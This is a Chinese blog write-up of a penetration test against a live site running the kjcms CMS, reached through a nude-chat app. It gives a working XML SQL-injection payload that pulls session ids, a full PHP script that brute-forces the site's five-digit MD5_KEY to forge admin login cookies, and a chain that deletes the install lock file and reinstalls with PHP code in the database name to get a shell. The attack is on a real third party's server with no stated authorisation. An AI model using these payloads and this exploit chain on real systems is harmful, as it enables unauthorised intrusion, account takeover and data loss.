前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次有趣的裸聊渗透测试

记一次有趣的裸聊渗透测试

作者头像
天钧
发布2021-03-04 16:44:59
1.4K0
发布2021-03-04 16:44:59
举报
文章被收录于专栏:渗透云笔记渗透云笔记

文章来源于 Admin Team

打开链接,发现是一个裸聊的app下载,夜神+burp抓包,

获取到网址,通过js的文件特征去github查找源码文件。

根据代码发现他是一个kjcms,然后去官网下载源码来进行审计

sql注入

在cls_weixin::on_exe方法中,有许多执行sql语句的点

这里注入需要满足arr_msg[‘FromUserName’]可控,发现arr_msg变量调用了当前类的get_msg()方法,跟进这个方法:

代码语言:javascript
复制
static function get_msg() {
    $arr_return = array();
    $cont = file_get_contents("php://input");
    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");
    if(empty($cont)) return $arr_return;
    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);
    $arr_return = fun_format::toarray($request);
    return $arr_return;
}

发现$cont是通过post数据流获取的,传入的xml,继续跟进fun_format::toarray

代码语言:javascript
复制
static function toarray($cont) {
    if(gettype($cont) == "string") $cont = json_decode($cont);
    $arr = (array)$cont;
    foreach($arr as $item=>$key) {
        if(gettype($key) == 'object' ) {
            $key = self::toarray($key);
        } else if(gettype($key) == 'array'){
            $key = self::objtoarray($key);
        }
        $arr[$item] = $key;
    }
    return $arr;
}

这里不太重要,只是把xml的值转化为数组,所以在on_exe方法中的$arr_msg数组是可控的,即可以产生sql注入,经过本地测试发现,在on_exe方法中的数据查询很多都不存在表,这里发现一个点:

跟进tab_weixin_message::get_one方法,参数key是我们可控的,参数site_id无关紧要

全局查找cls_weixin::on_exe,在根目录weixin.php调用了这个方法

代码语言:javascript
复制
<?php
include("inc.php");
if(isset($_GET["echostr"])) {
    echo $_GET["echostr"];exit;
}
cls_weixin::on_exe();

现在就只需要构造payload了,这里要进入到执行tab_weixin_message::get_one方法,需要进过:

代码语言:javascript
复制
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'

这个点只能时间盲注,在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入,目标环境问题无法实现,我就写了个脚本去跑账号密码。

发现自己傻逼了,在目录文件中会生成数据库报错的文件,路径为:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)

知道表结构和字段,直接去目标站注入,拿到后台密码hash,发现解密不了,看了下代码,有盐,是通过md5(pass+盐)进行加密的,这里盐也是在密码表中可以看到的,发现也解密不了。

伪造cookie

在登录处,发现cookie中的kj_s_id和kj_login_time是用来登录的,感觉可以伪造,这里我跟进下代码,看下kj_s_id是怎么生成的,验证登录处代码:

代码语言:javascript
复制
function act_login_verify() {
        $arr_return = $this->on_login_verify();
        return fun_format::json($arr_return);
    }

跟进on_login_verify方法

代码语言:javascript
复制
function on_login_verify() {
    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));
    $arr_fields = array(
        "user_name" => fun_get::post("uname"),
        "user_pwd"   => fun_get::post("pwd"),
        "verifycode" => fun_get::get("verifycode"),
        "autologin" => fun_get::get("autologin")
    );
    if(!fun_is::pwd($arr_fields["user_pwd"])) {
        $arr_return["code"] = 7;
        $arr_return["msg"]  =  fun_get::rule_pwd("tips");
        return $arr_return;
    }
    $arr = cls_obj::get("cls_user")->on_login($arr_fields);
    if( $arr["code"] != 0 ) {
        $arr_return = $arr;
        return $arr_return;
    }
    return $arr_return;
}

$arr_fields数组中获取登录的账号密码,继续跟进on_login方法

str_id是通过fun_get::safecode方法来的,现在只需要perms[‘sid’]是怎么来的,跟进查看,并没发现到什么,这里,我直接打印出self::

代码语言:javascript
复制
echo self::$perms['sid'];exit;

发现这里数据存放在数据库的kj_sys_session表中的session_id字段,而session_user_id表示是否登录在,1表示登录在,0表示退出了登录。

我们有注入点,这个session_id我们可以通过注入来获取到的,现在跟进fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的

跟进$str_key变量,看他是从哪里来的,跟进cls_config::MD5_KEY,发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数

最后获取的str_return是由3部分组成str_left,base64(msg_val),str_right,所以这个str_key变量需要我们继续爆破,并且知道fun_get::safecode方法的msg_val参数是ip+时间戳+随机数的形式,下面就进行漏洞复现。

漏洞复现

首先抓取目标站后台登录时的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假设我的ip地址为104.192.225.86,通过base64为MTAzLjE5Mi4yMjUuODY=,去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位,所以上面的加密密文就为:

代码语言:javascript
复制
Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg

我们通过注入获取$msg_val参数和登录状态

代码语言:javascript
复制
<?xml version="1.0"?>
<note>
    <ToUserName>cccc</ToUserName>
    <FromUserName>1</FromUserName>
    <MsgType>event</MsgType>
    <Event>click</Event>
    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey>
</note>

成功读取到了,这里就需要爆破MD5_KEY,他是五位数的,用他的代码修了下php的爆破脚本

代码语言:javascript
复制
<?php
function safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552
        $str_key       = $str_key_val;
        $str_en_key    = base64_encode($str_key);
        $str_md5_key   = md5($str_key);
        $str_md5_key_1 = substr($str_md5_key , 0 , 1);
        $str_md5_key_2 = substr($str_md5_key , -1 , 1);
        $lng_key_1     = ord($str_md5_key_1);
        $lng_key_2     = ord($str_md5_key_2);
        $lng_x_key1    = substr($lng_key_1,-1,1);
        if($lng_key_1 > 9) {
            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;
        }else{
            $lng_x_key2 = $lng_x_key1 * 2;
        }
        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));
        $lng_2_key1    = substr($lng_key_2 , -1 , 1);
        if($lng_2_key1 > 9){
            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;
        }else{
            $lng_2_key2 = $lng_2_key1 * 2;
        }
        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));
        if($msg_type == "encode"){
            $str_en_id   = base64_encode($msg_val);
            $str_en_code = $str_left . $str_en_id . $str_right;
            $str_return  = str_replace("=" , "" , $str_en_code);
        }else{
            $str_left    = str_replace("=" , "" , $str_left);
            $str_right   = str_replace("=" , "" , $str_right);
            $str_llen    = strlen($str_left);
            $str_rlen    = strlen($str_right);
            $str_len     = strlen($msg_val);
            if($str_len < ($str_llen + $str_rlen)){
                $str_return = "";
            }else{
                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));
            }
        }
        return $str_return;
    }


function getNumber($start=1,$end=99999){
    for ($i=$start; $i <= $end; $i++) { 
        $arr[] = substr(str_repeat("0",6).$i,-5,5);
    }
    return $arr;
}

$numbers= getNumber(1,99999);
foreach ($numbers as $val){
    $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />";
    echo $keyss.':'.strval($val)."<br />";
    if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){
        echo $val;
        exit;
    }
}

成功获取到了MD5_KEY,然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id

最后就可以伪造cookie登录后台了

重装漏洞getshell

本来以为后台可以直接修改文件上传的后缀,发现事情并没有那么简单

发现还是限制了php无法上传,跟进这部分代码看了下,lib\tab\tab.other.attatch.php

这里会先获取上传文件的后缀,来判断后缀是否存在$arr_no_allow_ext数组中,所以会先判断数组里面的上传类型,在判断允许上传的类型。这里只有针对windows可以getshell了,我们将上传类型修改成php(空格),由于windows特性,会把空格去掉。

然而我们的目标是linux,这种方式不行了,再回来看看代码后台是否有getshell的点,除了在重新安装的点就没发现可以shell的点了(自己太菜了,找到不影响正常功能shell的点)。在文件app\model\install\mod.index.php中的on_config方法:

mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php,并没有通过这个cms的过滤函数fun_get::get/post方法,这个方法过滤如下:

代码语言:javascript
复制
static function filter_base($str_x , $is_reback=false) {
    $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));
    $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13));
    if($is_reback) {
        $str_x = str_replace($replace , $search , $str_x);
        $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式
        $str_x = str_replace('\\"','"',$str_x);
    }else{
        $str_x = str_replace($search , $replace , $str_x);
    }
    return $str_x;
}

全局查了下,$is_reback参数都是为默认的false,为true的话,这个过滤就没啥影响了。现在重装漏洞的点可以实现了,需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处,有一次日志文件删除的点,这个点不用看代码都知道可以删除,因为在fun_get::get/post方法中并没有过滤/``.

删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码,就可以shell了。

重装漏洞虽然可以拿下shell

但是不推荐使用重装漏洞

会影响正常网站的数据

重要的事说三遍

涉及到重要数据千万不要使用重装漏洞

涉及到重要数据千万不要使用重装漏洞

涉及到重要数据千万不要使用重装漏洞

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-02-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sql注入
  • 伪造cookie
  • 漏洞复现
  • 重装漏洞getshell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档